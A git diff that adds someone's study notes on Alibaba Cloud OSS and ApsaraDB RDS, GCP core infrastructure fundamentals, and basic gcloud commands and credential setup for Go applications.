center. You can choose the region where OSS will store the buckets you create. +- You may choose a region to optimize latency, minimize costs, or address regulatory requirements. +- Generally, the closer the user is in proximity to a region, the faster the access speed is. +- All objects that are contained in a bucket are stored in the same region. +- A region is chosen when a bucket is created and **can not be changed** once it's created. + + +### Objects +Objects. Objects, also known as files are the fundamental entities stored in OSS. +- An object is composed of three elements, a key, its data and metadata. +- The key is the unique object's name, +- the data is the file content +- metadata defines the attributes of an object, such as the time created and the object size. +- The lifecycle of an object starts when it is uploaded and ends when it's deleted. + - During the lifecycle of an object, its contents cannot be changed. + +If you want to modify an object, you must upload a new object with the same name as the existing one to replace it. +- Therefore, unlike the file system, OSS does not allow users to modify objects directly. +- OSS provides an Append Upload function, which allows you to continually append data to the end of an object. + +- There are some limitations to objects stored in OSS. +- The naming conventions for objects are as follows. + - must use UTF-8 encoding, + - must be between one and 1023 characters in length. + - start with a backslash or a forward slash. + +File size limitations depend on how the data was uploaded. +- Using Object mode, the file size cannot exceed five gigabytes, +- using Multipart mode, the file size cannot exceed 48.8 terabytes. +- You can upload or delete up to 100 objects at a time from the console. +- To upload or delete more than 100 objects at a time, you must call an API operation or use an SDK. +- When uploading a file to a bucket, the `access control list` that was set at the bucket level will be selected by default but this can be changed prior to upload and after the file is uploaded +- once an object is deleted, it cannot be restored. + + +## security + +There are three main ways to set security for protecting objects in OSS. + +Number one: Access Control. You can use Access Control in the following ways. Access Control Lists or ACLs. With an Access Control List you can define the type of access allowed for a bucket, and the objects that reside within the bucket. + +The following settings are available. +- Private: Only the owner or authorized users of the bucket can read and write files in the bucket. +- Public Read: Only the owner or authorized users of this bucket can write files in the bucket. Other users, including anonymous users, can only read files in the bucket. +- Public Read\Write: Any users, including anonymous users, can read and write files in the bucket. + + +### Bucket Policy +You can use Bucket Policy. This allows you to grant permission on all, or just Specific resources in a bucket to RAM users from your Alibaba Cloud account, other accounts, or anonymous accounts. Conditional access can also be set. +- You can select whether objects can be accessed by HTTP or HTTPS only. +- Every object in OSS is enabled with HTTPS access by default. +- This provides secure uploads and downloads via SSL-encrypted endpoints. + +You can also set `whitelist or blacklist IP addresses` to further restrict access to bucket contents. + + + +#### Hotlink Protection. +- Hotlink Protection uses an HTTP Referer whitelist to prevent unauthorized users from accessing your data in OSS. +- The Referer Whitelist specifies the domains are allowed to access OSS resources. + +#### Access Keys +Access Keys. An Access Key is composed of a Key Id and a Key Secret. They work in pairs to perform access identity verification. +- OSS verifies the identity of a request sender by using `symmetric encryption`. +- The Access Key Id is used to identify a user, +- and the Access Key Secret is used for the user to encrypt the signature and for OSS to verify the signature. +- In OSS, Access Keys are generated by the following three methods: + - The bucket owner applies for Access Keys. + - The bucket owner uses **Resource Access Management** to authorize a third party to apply for Access Keys. + - the bucket owner uses the **Security Token Service** to authorize a third party to apply for Access Keys. + + + +### Server-Side Encryption or SSE + +The second method of security is Server-Side Encryption or SSE. OSS supports server-side encryption for uploaded data when enabled. When you upload data, OSS encrypts and stores the data. +- When you download data, OSS automatically decrypts the data and returns the original data to the user. +- The returned HTTP request header declares that the data has been encrypted on the server. + +SSE can be implemented in one of two ways: +- The first is Key Management Services or KMS. + - This implements Server-Side Encryption with a Customer Master Key, CMK, which is stored in KMS. + - When uploading an object, you can use a CMK ID stored in KMS to encrypt and decrypt large amounts of data. + - This method is cost-effective because you do not need to send user data to the KMS server through networks for encryption and decryption. + - KMS requires activation before it can be used. +- And the second is Advanced Encryption Standard or AES256. + - This implements server-side encryption with OSS-managed keys. + - This encryption method is an attribute of objects. + - In this method, OSS server-side encryption uses AES-256 to encrypt objects with different data keys. + - Master keys are used to encrypt data, + - and keys are rotated regularly. + - This method is suited to encrypt and decrypt multiple objects at the same time. +- And three: Identity Authentication using either Resource Access Management/RAM, or the Security Token Service/STS. + - We can use these features to make sure that we only grant privileges to specific users or temporary privileges to anonymous users. + +The RAM Console +- The resource access management console, manages user identities and permissions to access resources. +- You can manage users by configuring RAM policies. +- For users such as employees, systems, or applications, you can control which resources are accessible. +- RAM applies to scenarios where multiple users in an enterprise must collaboratively manage cloud resources. +- RAM allows you to grant RAM users the minimum permissions. +- In this case, you do not need to share your Alibaba Cloud account and password. This method helps you minimize security risks. + + +Security Token Service/STS +- STS is a cloud service that provides short-term access control for Alibaba Cloud accounts, or RAM users. +- Through STS, you can issue an access credential with custom time limits and access rights to federated users. +- STS is implemented by `command line, SDKs, or the RAM Console`. diff --git a/_posts/01Cloud/01Ali/Storage/RDS.md b/_posts/01Cloud/01Ali/Storage/RDS.md new file mode 100644 index 00000000000..37b7ab67958 --- /dev/null +++ b/_posts/01Cloud/01Ali/Storage/RDS.md @@ -0,0 +1,363 @@ + +- [Ali - ApsaraDB RDS](#ali---apsaradb-rds) + - [benefit](#benefit) + - [RDS editions](#rds-editions) + - [Features](#features) + - [Customized database engines](#customized-database-engines) + - [AliSQL](#alisql) + - [AliPG](#alipg) + - [Cost effective and easy to use](#cost-effective-and-easy-to-use) + - [High performance](#high-performance) + - [High availability and disaster tolerance](#high-availability-and-disaster-tolerance) + - [High security](#high-security) + +--- + +# Ali - ApsaraDB RDS + +- a stable, reliable, and scalable online database service +- built on top of the `Apsara Distributed File System` and `high-performance SSDs` of Alibaba Cloud. +- ApsaraDB RDS supports the `MySQL, SQL Server, PostgreSQL, and MariaDB TX database engines`. +- ApsaraDB RDS provides a portfolio of solutions for disaster recovery, backup, restoration, monitoring, and migration to facilitate database O&M. + + +--- + +## benefit + +1. Easy deployment + 1. no need to purchase database server hardware or software. reduces costs. + 2. create an RDS instance of required specifications within a few minutes in the ApsaraDB RDS console by calling an API operation. + +2. High compatibility + 1. use ApsaraDB RDS databases in the same way as databases that run native engines. + 2. This relieves the need to acquire new knowledge. + 3. The data migration does not require much workforce. ApsaraDB RDS is compatible with existing programs and tools. You can use Data Transmission Service (DTS) to quickly migrate data to ApsaraDB RDS. You can also use common data import and export tools to migrate data. + +3. Easy O&M + 1. Alibaba Cloud is responsible for routine maintenance and management tasks of ApsaraDB RDS instances. + 2. This includes troubleshooting hardware and software issues and installing database patches. + 3. You can add, delete, restart, back up, and restore RDS instances in the ApsaraDB RDS console or by calling API operations. + + + +--- + + +## RDS editions + +1. Basic Edition + 1. Data backups are stored as multiple copies on OSS or distributed cloud disks to prevent data loss. This applies to all RDS series. + 2. a `single node without a slave node` as hot backup. + 3. if fault occurs, the restoration time is long. + 4. Choose Basic Edition if you do not require high availability. + 5. database system consists of only one primary RDS instance, and computing is separated from storage. This edition is cost-effective. + 6. scenario: Personal learning, Small-sized websites, Development and test environments for small- and medium-sized enterprises + + +2. High-availability Edition + 1. adopts the high-availability architecture with `one master node and one slave node`. + 1. database system consists of one primary RDS instance and one secondary RDS instance. + 2. These instances work in the high-availability architecture. + 3. This edition is suitable for more than 80% of the actual business scenarios. + 5. If the master node fails, a switchover occurs within seconds without affecting your applications. + 6. If the slave node fails, a new slave node is automatically generated to ensure high availability. + 7. **Single-zone instance**: + 1. The master and slave nodes are in the same zone but on different physical servers. + 2. All cabinets, air conditioners, electricity, and networks in the zone are redundant to ensure high availability. + 8. **Multi-zone instance**: + 1. The master and slave nodes are in different zones of an area, providing `area-level` disaster tolerance ability. + 9. You can switch between single-zone instances and multi-zone instances. + 10. When the slave node malfunctions, RDS instantly backs up the master node. + 11. When the backup process is about to finish, a global lock is generated and the master node runs in the read-only status for 5 seconds or less. + 6. scenario: Production databases for large and medium-sized enterprises, Databases in industries such as the Internet, Internet of Things (IoT), online retail, logistics, and gaming + + +3. Cluster Edition + 1. Only **RDS SQL Server 2017** provides the Cluster Edition. + 2. Based on the **AlwaysOn** technology, it provides `one master node`, `one slave node`, and up to seven `read-only nodes` that horizontally scale read capabilities. + 1. The read-only RDS instances are used to increase the read capability. + 3. The slave and read-only nodes synchronize data from the master node. + 4. The Cluster Edition provides the same availability as the High-availability Edition. + 5. Besides, the read-only nodes can be deployed in zones different from those of the master and slave nodes. + 6. scenario: Production databases for large- and medium-sized enterprises, such as online retailers, automobile companies, and ERP providers + + +4. **Enterprise Edition** + 1. **RDS MySQL 5.7** supports the Enterprise Edition. + 2. the DB system has `one master instance and two slave instances`. + 3. Data is replicated between the master and slave instances through multiple replicas to guarantee data consistency and finance-level reliability. + 4. Data is synchronously replicated from the primary RDS instance to the secondary RDS instances. + 5. The Enterprise Edition can be used by large-sized enterprises to build core production databases. + 6. the master and slave instances are located in three different zones in the same region. + 7. scenario: Important databases in the finance, securities, and insurance industries that require high data security, Important production databases for large-sized enterprises + + + +--- + + +## Features + +- ApsaraDB RDS supports a wide range of features, such as `instance management, backup and restoration, log audit, and monitoring and alerting`. +- You can use the instance management feature to create RDS instances and change the specifications of an existing RDS instance. + + + +### Customized database engines + +Alibaba Cloud customizes database engines based on the community editions of native `MySQL` and `PostgreSQL` to provide more advanced features. + + +#### AliSQL +- an independent MySQL branch that is developed by Alibaba Cloud. +- AliSQL provides + - all the features of the MySQL Community Edition. + - some similar features that you can find in the MySQL Enterprise Edition. + - enterprise-grade backup and restoration, + - thread pool, + - and parallel query. + - In addition, AliSQL provides Oracle-compatible features, such as the Sequence engine. +- `ApsaraDB RDS for MySQL with AliSQL` provides + - all MySQL features + - and a wide range of advanced features that are developed by Alibaba Cloud. + - include enterprise-grade security, backup and restoration, monitoring, performance optimization, and read-only instance. + + + +features that are designed to improve functionality, performance, stability, and security, including: + + +Thread Pool +- This feature uses the **Listener-Worker model** to improve the connection performance of AliSQL. +- It optimizes the concurrency control for different types of operations based on their priorities. +- This allows `ApsaraDB for RDS` to ensure high performance when it processes a large number of concurrent requests. + + +Statement outline +- This feature uses **optimizer and index hints** to ensure the stability of `ApsaraDB for RDS` when SQL query plans change due to data update, index addition or deletion, or parameter adjustment. + + +Fast query cache +- developed by Alibaba Cloud based on the native MySQL query cache. +- uses a new design and implementation mechanism to increase the query performance of ApsaraDB for RDS. +- optimizes concurrency control, memory management, and caching. + + +Binlog in Redo +- synchronously writes binary logs to the redo log file when a transaction is committed. +- This reduces operations on disks and improves database performance. + +Faster DDL +- This feature is developed by the `ApsaraDB for RDS` team. +- It fixes defects in the cache maintenance logic that is used to manage data definition language (DDL) operations. +- It also provides the optimized buffer pool management mechanism to reduce competition for locks that are triggered by DDL operations. +- This feature ensures the DDL operation performance of `ApsaraDB for RDS` when it processes a regular number of requests. + + + +--- + +#### AliPG +Alibaba Cloud offers two PostgreSQL-compatible database services that run AliPG: +- ApsaraDB RDS +- ApsaraDB for MyBase. + + +AliPG is a unified database engine that is developed by Alibaba Cloud. +- Since the commercial rollout of AliPG in 2015, AliPG has been running stably for years and processed a large volume of workloads within Alibaba Group and for Alibaba Cloud customers. +- AliPG supports the following major PostgreSQL versions: 9.4, 10, 11, 12, 13 and 14. + +AliPG has the following advantages over open source PostgreSQL: + +Faster speed +- `Image recognition, face recognition, similarity-based retrieval, and similarity-based audience spotting`: Image recognition and vector similarity-based searches are tens of thousands of times faster on AliPG than on open source PostgreSQL +- `Real-time precision marketing (user selection)`: Marketing and user profiling in real time are thousands of times faster on AliPG than on open source PostgreSQL. +- The `GIS-based Mod operator` on AliPG processes mobile objects 50 times faster than the Mod operator on open source PostGIS. + + + +Higher stability +- AliPG uses the Platform as a Service (PaaS) architecture. +- This architecture allows you to transform traditional software from license-based services to subscription-based services. +- You can manage a large amount of metadata, optimize connections, and efficiently isolate resources. +- In addition, each RDS instance supports tens of thousands of schemas. + + + +Higher security +- AliPG is certified based on leading national and international security standards, which empowers enterprises to increase institutional security scores in the financing and listing phases. +- AliPG provides the following security enhancements: + - Encrypts sensitive data that contains passwords. The sensitive data includes dynamic views, shared memory, the dblink plug-in, historical commands, and audit logs. + - Fixes the function-related bugs that are found in open source PostgreSQL. + - Supports fully encrypted databases. For more information, see Fully encrypted databases. + - Supports the semi-synchronous mode. This mode allows you to specify one of the following protection levels for your RDS instance: maximum protection, maximum availability, and maximum performance. For more information, see Set the protection level of an ApsaraDB RDS for PostgreSQL instance. + - Supports the failover slot feature. This feature prevents primary/secondary switchovers from affecting the reliability of logical replication. For more information, see Logical Replication Slot Failover. + - Higher flexibility and controllability. For more information, see What is ApsaraDB for MyBase? + - AliPG grants you the permissions to manage the operating systems on hosts in dedicated clusters. + - AliPG allows you to customize overcommit ratios in the development, test, and staging environments. For example, you can specify 128 cores for a host that provides only 64 cores. This way, you can exclusively occupy resources in the production environment to reduce the overall costs. + + +--- + + +### Cost effective and easy to use + +It features cost-effectiveness, flexible billing, on-demand configuration changes, easy deployment, high compatibility, and simple operations and maintenance (O&M). + + +**Flexible billing** +- ApsaraDB RDS supports the `subscription` and `pay-as-you-go` billing methods. + +- short-term use, recommend `pay-as-you-go` billing method. + - A pay-as-you-go instance is charged per hour based on your actual resource usage. + - If you no longer need your pay-as-you-go instance, you can release it to reduce costs. + +- long-term use, recommend the `subscription` billing method. + - You can receive larger discounts for longer subscription periods. + + +**On-demand configuration changes** +- You can purchase an RDS instance with low specifications that can meet your business requirements As the database workloads and data storage increase, you can upgrade the instance specifications. +- If your business scale becomes small again, you can downgrade the instance specifications to reduce costs. + + +--- + +### High performance + +Parameter optimization +- All parameters that are used in ApsaraDB RDS have been tested and optimized over years of production practices that are conducted by a team of experienced database administrators (DBAs) from Alibaba Cloud. +- These DBAs have continued to optimize each ApsaraDB RDS instance throughout the lifecycle of the instance to ensure that the instance runs at its optimal configuration. + + +SQL optimization +- ApsaraDB RDS identifies `SQL statements` that are run at low speeds and provides recommendations that help you optimize your business code. + + +High-end hardware +- All server hardware that is used by ApsaraDB RDS has passed the tests of multiple concerned parties. +- This ensures that ApsaraDB RDS can deliver optimal performance and high stability. + + +High-speed access +- If an ApsaraDB RDS instance is used with an Elastic Compute Service (ECS) instance that resides in the same region as the RDS instance, these instances can communicate over an internal network to shorten response time and reduce Internet traffic consumption. + + + +--- + + + + +### High availability and disaster tolerance + +Backup and recovery +- RDS supports automatic and manual backups +- set the automatic backup frequency or manually create backups at any time. +- RDS supports data recovery by time or backup set. +- You can restore data of any point in time within the log retention period to a new instance, verify the data, and then transfer the data to the original instance. + + +Disaster tolerance +- ApsaraDB RDS offers four editions: Basic Edition, High-availability Edition, Cluster Edition, and Enterprise Edition. + + + +--- + + +### High security + +DDoS protection +- If DDoS attacks are detected, the security system of RDS enables **traffic cleaning** first. +- If traffic cleaning fails or the attacks reach the blackhole threshold, **blackhole filtering** is triggered. +- Note We recommend that you access RDS instances through the intranet to prevent DDoS attacks. + + +Access control +- IP addresses can access your RDS instance only after you add them to the whitelists of the RDS instance. +- IP addresses that are not in the whitelists cannot access the RDS instance. +- Each account can only view and operate its own databases. + + +System security +- RDS is protected by multiple **firewall** layers that block various network attacks to guarantee data security. +- Direct logon to the RDS server is not allowed. +- Only the ports required by certain database services are open. +- The RDS server cannot initiate an external connection. It can only accept access requests. + + +Professional security team +- Aliabab Cloud security team is responsible for guaranteeing the security of RDS. + + +--- + + +database engine +- ApsaraDB RDS supports the MySQL, SQL Server, PostgreSQL, and MariaDB TX database engines. + +network type +- You can create an RDS instance in the classic network or in a virtual private cloud (VPC). +- A VPC is an isolated virtual network that is deployed on Alibaba Cloud. +- VPCs provide higher security than the classic network. +- We recommend that you create RDS instances in VPCs. + +edition +- ApsaraDB RDS provides the + - Basic Edition, + - High-availability Edition, + - Cluster Edition, + - and Enterprise Edition. + + + +instance family +- ApsaraDB RDS provides the shared, general-purpose, and dedicated instance families. + + + +storage type +- ApsaraDB RDS supports + - local SSDs, + - standard SSDs, + - and enhanced SSDs (ESSDs). + + + + + +Related services +- Elastic Compute Service (ECS): + - ECS provides high-performance cloud servers. + - If an ECS instance and an RDS instance reside in the same region, these instances can communicate over an internal network to ensure the optimal performance of the RDS instance. + - The use of ECS and ApsaraDB RDS is a typical service access architecture. + + +- ApsaraDB for Redis: + - ApsaraDB for Redis is an `in-memory database service` that persists data on disks. + - You can use `ECS` in combination with `ApsaraDB RDS` and `ApsaraDB for Redis` to process a large number of read requests within a short period of time. + +- ApsaraDB for MongoDB: + - ApsaraDB for MongoDB is a `stable, reliable, and scalable database service` that is compatible with the MongoDB protocol. + - store structured data in ApsaraDB RDS + - and unstructured data in ApsaraDB for MongoDB + + + + +- MaxCompute: + - MaxCompute, ODPS + - a fully hosted data warehousing solution that can process terabytes or petabytes of data at high speeds. + - MaxCompute provides a complete suite of data import solutions and a variety of distributed computing models. + - You can use these solutions and models to import data from RDS instances into MaxCompute. + - Then, you can use MaxCompute to process large amounts of data. + + + +- Data Transmission Service (DTS): + - DTS is used to migrate data from on-premises databases to RDS instances and migrate data between RDS instances for disaster recovery. + +- Object Storage Service (OSS): + - OSS is a secure, cost-effective, and highly reliable cloud storage solution that allows you to store large amounts of data on the cloud. diff --git a/_posts/01Cloud/01GCP/.DS_Store b/_posts/01Cloud/01GCP/.DS_Store new file mode 100644 index 00000000000..b7b1679258e Binary files /dev/null and b/_posts/01Cloud/01GCP/.DS_Store differ diff --git a/_posts/01Cloud/01GCP/2021-01-01-GCP.md b/_posts/01Cloud/01GCP/2021-01-01-GCP.md new file mode 100644 index 00000000000..79a0e053090 --- /dev/null +++ b/_posts/01Cloud/01GCP/2021-01-01-GCP.md @@ -0,0 +1,357 @@ +--- +title: GCP - Google Cloud Platform Fundamentals - Core Infrastructure +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP] +tags: [GCP] +toc: true +image: +--- + + +- [GCP Google Cloud Platform Fundamentals - Core Infrastructure](#gcp-google-cloud-platform-fundamentals---core-infrastructure) + - [overview](#overview) + - [IaaS vs PaaS vs Serverless vs SaaS](#iaas-vs-paas-vs-serverless-vs-saas) + - [security](#security) + - [pricing](#pricing) + - [The Google Cloud network](#the-google-cloud-network) + - [Environmental impact](#environmental-impact) + - [Interact with Google Cloud](#interact-with-google-cloud) + - [Open APIs](#open-apis) + - [Cloud Marketplace (formerly Cloud Launcher)](#cloud-marketplace-formerly-cloud-launcher) + - [API](#api) + - [Cloud Endpoints](#cloud-endpoints) + - [Apigee Edge](#apigee-edge) + + +--- + +# GCP Google Cloud Platform Fundamentals - Core Infrastructure + + +![Screen Shot 2022-08-14 at 23.40.12](https://i.imgur.com/2Y3LvvO.png) + +![Screen Shot 2022-08-28 at 16.36.07](https://i.imgur.com/Aj82fJo.png) + + +--- + +## overview + +Google + + +![Screen Shot 2021-06-21 at 20.48.32](https://i.imgur.com/eVbHebi.png) + +GCP offers four main kinds of services: +- compute, storage, big data and machine learning. + + +![Screen Shot 2021-06-21 at 20.50.06](https://i.imgur.com/Tmqmrqc.png) + +![Screenshot 2024-08-07 at 09.45.07](/assets/img/Screenshot%202024-08-07%20at%2009.45.07.png) + +--- + +### IaaS vs PaaS vs Serverless vs SaaS + +- Infrastructure as a service (IaaS) + - delivers on-demand infrastructure resources such as compute, storage, and network capabilities, organized virtually into resources similar to physical data centers. + - Compute Engine + +- Platform as a service (PaaS) + - offerings bind code to libraries that provide access to the infrastructure application needs. + - This allows more resources to be focused on application logic. + - App Engine + +- Serverless + - further eliminate the need for infrastructure management by allowing developers to concentrate on their code. + - Cloud Functions and Cloud Run, + +- Software as a Service (SaaS) + - provides the entire application stack as a cloud-based service that customers can access and use over the internet. + - Gmail, Docs, and Drive in Google Workspace. + +![Screen Shot 2021-02-12 at 13.25.46](https://i.imgur.com/uuTClRK.png) + +![Screen Shot 2021-02-03 at 14.34.02](https://i.imgur.com/e2nAsAC.png) + +![Screen Shot 2021-02-09 at 23.26.11](https://i.imgur.com/Zghiw6i.png) + +![Screen Shot 2021-06-27 at 1.20.06 AM](https://i.imgur.com/tXqN8CH.png) + + +--- + +### security + +![Screen Shot 2021-02-03 at 15.07.14](https://i.imgur.com/UEaBU7M.png) + +The security infrastructure of Google Cloud and Google services is designed with multiple layers of protection. + +![Screenshot 2024-08-07 at 10.06.28](/assets/img/Screenshot%202024-08-07%20at%2010.06.28.png) + +- The Hardware infrastructure layer + + - custom-designed server boards and networking equipment. + + - Google uses a secure boot stack to ensure that server machines are booting the correct software stack. + + - Premises security is implemented in Google's data centers, with limited access for Google employees. + +![Screenshot 2024-08-07 at 10.06.57](/assets/img/Screenshot%202024-08-07%20at%2010.06.57.png) + +- The Service deployment layer focuses on encryption of inter-service communication. + +![Screenshot 2024-08-07 at 10.07.24](/assets/img/Screenshot%202024-08-07%20at%2010.07.24.png) + +- Google's central identity service + - goes beyond username and password, employing additional risk-based challenges and secondary factors for user authentication. + - The service also intelligently challenges users for additional information based on `risk factors` such as whether they have logged in from the same device or a similar location in the past. + - Users can also employ secondary factors when signing in, including devices based on the Universal 2nd Factor (U2F) open standard. + + +![Screenshot 2024-08-07 at 10.08.22](/assets/img/Screenshot%202024-08-07%20at%2010.08.22.png) + +- Encryption at rest + - applied to storage services, with centrally managed keys and hardware encryption support. + +![Screenshot 2024-08-07 at 10.09.12](/assets/img/Screenshot%202024-08-07%20at%2010.09.12.png) + +- The Internet communication layer + - Google services that are being made available on the internet, register themselves with an infrastructure service called the `Google Front End`, + - ensures that all TLS connections are ended using a public-private key pair and an X.509 certificate from a Certified Authority (CA), + - following best practices such as supporting perfect forward secrecy. + - The GFE additionally applies protections against Denial of Service attacks. + +![Screenshot 2024-08-07 at 10.11.34](/assets/img/Screenshot%202024-08-07%20at%2010.11.34.png) + +- Google's Operational security layer + - includes intrusion detection, insider risk reduction, employee U2F use, and stringent software development practices. + - Google also runs a Vulnerability Rewards Program to incentivize bug discovery in their infrastructure and applications. + +--- + +### pricing + +![Screen Shot 2021-02-03 at 14.54.20](https://i.imgur.com/09yBI1V.png) + +![Screen Shot 2021-02-10 at 21.55.59](https://i.imgur.com/Xsx3HvS.png) + +![Screen Shot 2021-02-10 at 21.58.00](https://i.imgur.com/yYdB0jJ.png) + +Quota: + +![Screenshot 2024-08-07 at 10.15.06](/assets/img/Screenshot%202024-08-07%20at%2010.15.06.png) + +--- + +### The Google Cloud network + +> global -> multi region -> region -> zone + + +caching nodes: +- Google Cloud has more than 100 content caching nodes worldwide, which cache high demand content for quicker access. + +- These caching nodes allow applications to respond to user requests from the location that will provide the quickest response time. + +Geographic locations: +- Google Cloud's infrastructure is based in five major geographic locations: North America, South America, Europe, Asia, and Australia. + +![Screen Shot 2022-08-15 at 00.36.25](https://i.imgur.com/xz5k28C.jpg) + +- Each location is divided into several different regions and zones. + + - Google Cloud currently supports 121 zones in 40 regions, with the number increasing over time. + + - ![Screenshot 2024-08-07 at 09.59.45](/assets/img/Screenshot%202024-08-07%20at%2009.59.45.png) + + - ![Screen Shot 2021-02-03 at 14.52.03](https://i.imgur.com/mIV2CbL.png) + +- Regions represent independent geographic areas and are composed of zones. + + - ![Screenshot 2024-08-07 at 10.00.05](/assets/img/Screenshot%202024-08-07%20at%2010.00.05.png) + +- Zones are areas where Google Cloud resources are deployed. + +- Running resources in different regions and Zones is useful for bringing applications closer to users around the world and for protection in case of issues with an entire region. + + - Some of Google Cloud's services support placing resources in a multi-region, which allows for replication of data in multiple zones across multiple regions. + + - ![Screenshot 2024-08-07 at 10.00.49](/assets/img/Screenshot%202024-08-07%20at%2010.00.49.png) + + - ![Screenshot 2024-08-07 at 10.00.31](/assets/img/Screenshot%202024-08-07%20at%2010.00.31.png) + + +Deploying applications across multiple zones +- enables fault tolerance and high availability +- network latencies generally less than 1 millisecond + - zone and region + +The network interconnects with the public Internet and more than 90 Internet exchanges and more than 100 points of presence worldwide. + +edge network location +- When an Internet user sends traffic to a Google resource, +- Google responds to the user's request from an edge network location that will provide the lowest latency or delay. +- Google's edge casting network places the content close to users to minimize that latency + +![Screen Shot 2021-02-10 at 21.40.56](https://i.imgur.com/uHLfEQG.png) + +--- + +### Environmental impact + +- Google's data centers were the first to achieve ISO 14001 certification, which focuses on enhancing environmental performance and resource efficiency. + +- The data center in Hamina, Finland is one of the most advanced and efficient in Google's fleet. + +- Google aims to operate completely carbon-free by 2030. + +--- + +## Interact with Google Cloud + +![Screenshot 2024-08-07 at 10.42.12](/assets/img/Screenshot%202024-08-07%20at%2010.42.12.png) + +![Screen Shot 2021-02-03 at 15.29.56](https://i.imgur.com/VPu8vIk.png) + +4 ways to interact with Google Cloud + +- Google Cloud Console + - web user interface + - ![Screen Shot 2021-02-10 at 22.01.19](https://i.imgur.com/hONolff.png) + +- Cloud SDK and Cloud Shell + - command-line interface + - `gcloud`: Compute Engine, Google Kubernetes Engine (GKE) and many Google Cloud services + - `gsutil`: Cloud Storage + - `kubectl`: GKE and Kubernetes + - `bq`: BigQuery + - Cloud Shell + - command-line access to cloud resources directly from browser. + - Web preview functionality + - Cloud SDK command-line tools always available, up to date, and fully authenticated. + * Preinstalled Cloud SDK and other tools + - ephemeral compute engine virtual machine instance + - built-in authorization for access to Cloud Console project and resource + - Temporary Compute Engine VM + - 5 GB of persistent disk storage (`$HOME dir`) + - Language support for Java, Go, Python, Node.js, PHP, and Ruby + - After 1 hour of inactivity, the Cloud Shell instance is recycled. + - Only the `/home` directory persists. + - Any changes made to the system configuration, including environment variables, are lost between sessions. + +- Cloud Console mobile app + - For iOS and Android + +- REST-based API + - for custom application + + +> creating environment variables is a good practice. You can easily and consistently re-use these environment variables, which makes your work less error-prone. + +--- + +### Open APIs + +![Screen Shot 2021-02-03 at 14.55.17](https://i.imgur.com/1b92Wl8.png) + +--- + +## Cloud Marketplace (formerly Cloud Launcher) + + +--- + +## API + +![Screen Shot 2021-02-09 at 00.38.36](https://i.imgur.com/Z0xoKOL.png) + +Application Programming Interfaces, APIs +- A software services implementation can be complex and changeable. +- to use that service + - instead other pieces of software had to know internal details about how they worked + - application developers structure the software, so that it presents a clean, well-defined interface that abstracts away needless details and then they document that interface. + - That's an API. +- The underlying implementation can change as long as the interface doesn't + - and other pieces of software that use the API don't have to know or care. + - to change an API (add or deprecate a feature) + - version the APIs. + - To make the API change cleanly + - API v2 might contain calls that v1 does not. + - Programs that consume the API can specify the API version that they want to use in their calls. + +- Supporting API, Google Cloud platform provides two API management tools. + - Cloud Endpoints + - Apigee Edge + +--- + + +### Cloud Endpoints +- Suppose + - you're developing a software service and one of GCP's backends. + - to make it easy to expose this API. + - an easy way to monitor and log its use. + +- to create and maintain APIs + - an easy to deploy proxy in front of the software service + +- Distributed API management through an API console + - provides an API console + - implements those capabilities in an easy-to-manage interface. + +- expose the API using a RESTful interface + +- supports applications running in GCP's compute platforms in the languages and the client technologies. + - Runtime environment + - App Engine Flexible environment + - Kubernetes Engine + - Compute Engine + - Clients + - Android + - iOS + - Javascript +- control access and validate calls with JSON Web Tokens and Google API keys + - identify web, mobile users with Auth0 and Firebase Authentication + - to make sure it's only consumed by other developers whom you trust. + - for the API to have a single coherent way for it to know which end user is making the call. +- generate client libraries + + +--- + +### Apigee Edge +- a platform + - for developing and managing API proxies. + - for making APIs available to the customers and partners +- It has a different orientation though. +- Contains analytics, monetization, and a developer portal +- focus on business problems + - like rate limiting, quotas, and analytics. +- Many users of Apigee Edge are providing a software service to other companies and those features come in handy. + - do business analytics and billing on a customer-facing API +- Because of the backend services for Apigee Edge need not be in GCP + - engineers often use it when they are "taking apart" a legacy application. + - Instead of replacing a monolithic application in one risky move + - they use Apigee Edge to peel off its services one by one, + - standing up microservices to implement each in turn, + - until the legacy application can be finally retired. + + + + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01GCP/2021-01-01-Gcloud-Cli.md b/_posts/01Cloud/01GCP/2021-01-01-Gcloud-Cli.md new file mode 100644 index 00000000000..de46c0f7175 --- /dev/null +++ b/_posts/01Cloud/01GCP/2021-01-01-Gcloud-Cli.md @@ -0,0 +1,73 @@ +--- +title: GCP - Gcloud +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP] +tags: [GCP] +toc: true +image: +--- + + +- [Gcloud](#gcloud) + - [IAM](#iam) + - [setup \& secure the GCP credentials for Go apps](#setup--secure-the-gcp-credentials-for-go-apps) + + +--- + +# Gcloud + +## IAM + +```bash +gcloud projects list --format="value(projectId)" + +gcloud iam service-accounts list --project $project --format='json' | jq -r '.[].email' + + +``` + + +## setup & secure the GCP credentials for Go apps + +Overview of GCP authentication in Go libraries +- how Go apps use credentials to authenticate their access to GCP. Especially, it's using Google Cloud client libraries. + +GCP libraries +- The key areas in the underlying GCP libraries that explain their interaction with the Google’s APIs are in packages called options and internal +- settings.go at `google.golang.org/api/internal/settings.go` +- option.go at `google.golang.org/api/option/option.go` + + +Setup secure authentication to GCP from the go app + +- **Setting up authentication** + - Credentials File + - The authentication relies on a GCP Service Account, which can be downloaded as a JSON file + +![1*78vSBQK1cu9VFyHerwtdcw](/assets/img/1*78vSBQK1cu9VFyHerwtdcw.webp) + + +- Option 1 — **Reading the credentials from a file** + - The Google Cloud client libraries expect the credentials file’s path to be declared as an environment variable and is setup to be checked by default + - `export GOOGLE_APPLICATION_CREDENTIALS="/home/me/gcp-creds.json"` + - Accessing credentials file from the local file system + +![1*ZKEpjMw_COrG-1TqZawSbw](/assets/img/1*ZKEpjMw_COrG-1TqZawSbw.webp) + + +- Option 2 — **Encode the JSON file as env var** + - encode the JSON as base64 string and pass it as the environment variable + - Run the below command to print the base64 string of the credentials file + - `bash> cat /home/me/gcp-creds.json | base64` + - Then set a new environment variable + - `export GCP_CREDS_JSON_BASE64="paste_base64_output_here"` + - decode the string in code and then pass it to the `WithCredentialsJSON` option. + - This way you don’t have to commit the credentials file + +- Option 3 — **Use cryptography** + - Another alternative is to use a cryptographic library to encrypt the file and pass the key as the environment variable to decrypt it during setup + + + +. diff --git a/_posts/01Cloud/01GCP/2021-01-02-GCP-Labs.md b/_posts/01Cloud/01GCP/2021-01-02-GCP-Labs.md new file mode 100644 index 00000000000..1b79f29a40c --- /dev/null +++ b/_posts/01Cloud/01GCP/2021-01-02-GCP-Labs.md @@ -0,0 +1,1846 @@ +--- +title: GCP - LABs 